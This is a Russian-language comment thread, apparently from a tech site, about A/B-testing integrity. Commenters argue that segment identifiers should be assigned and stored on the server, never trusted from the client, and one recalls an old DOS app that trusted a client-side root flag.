    ну а если конструктивно: проблема в том, что заинтересованным лицам доступен контроль над данными, влияющими на ход тестирования, а именно идентификатор сегмента, это и есть узкое место и в корне не правильно.
    моя мысль следующая: если мы допускаем, что сегментатор — это неподвластная истина, то назначать сегменты может только он, решается это следующим образом: у пользователя при первом заходе (если в куках еще нет) генерируется guid, обычный такой случайный гуид, далее, например, суммируется со счетчиком из GA и отправляется на сервер. если по этой паре не назначен сегмент — сервер его назначает и хранит у себя, никому не говоря, а по этому сегменту уже сам направляет на обработку в необходимый экзепляр…
    в случае умышленной подмены guid-а мы просто получаем нового пользователя со снова рандомным сегментом, подтасовать в этом случае (опять-таки я учитываю «честный» сегментатор) невозможно.


    1. alexandersh123
      04.06.2017 02:00
      +2

      дополню свою мысль маленьким отступлением. моя парадигма проста: категорически нельзя хранить на клиенте те данные, которые могут повлиять на то, что, чем не предназначено управлять клиенту. и тем более на эти данные ориентироваться серверу. это я понял еще со времен лицея, где мне повезло и в лицее (как части ВУЗа) была сеть на Novell Netware, было одно приложение (еще под DOS), которое использовалось для публикации свои работ по информатике (маленький невзрачный прототип GitHub'а). я тогда любил и изучал ассемблер и это приложение мне было интересно. выяснилось, что флаг доступа «IsRoot» устанавливался внутри приложения и сервер после подключения ему «верил», нетрудно догадаться, чего можно добиться, если, например, в приложении «Сбербанк онлайн» будет подобное))


  1. evil_kabab
    07.06.2017 10:38
    +1

    Вы их просто уничтожили. Есть шанс их засудить? Ну там мошенничество…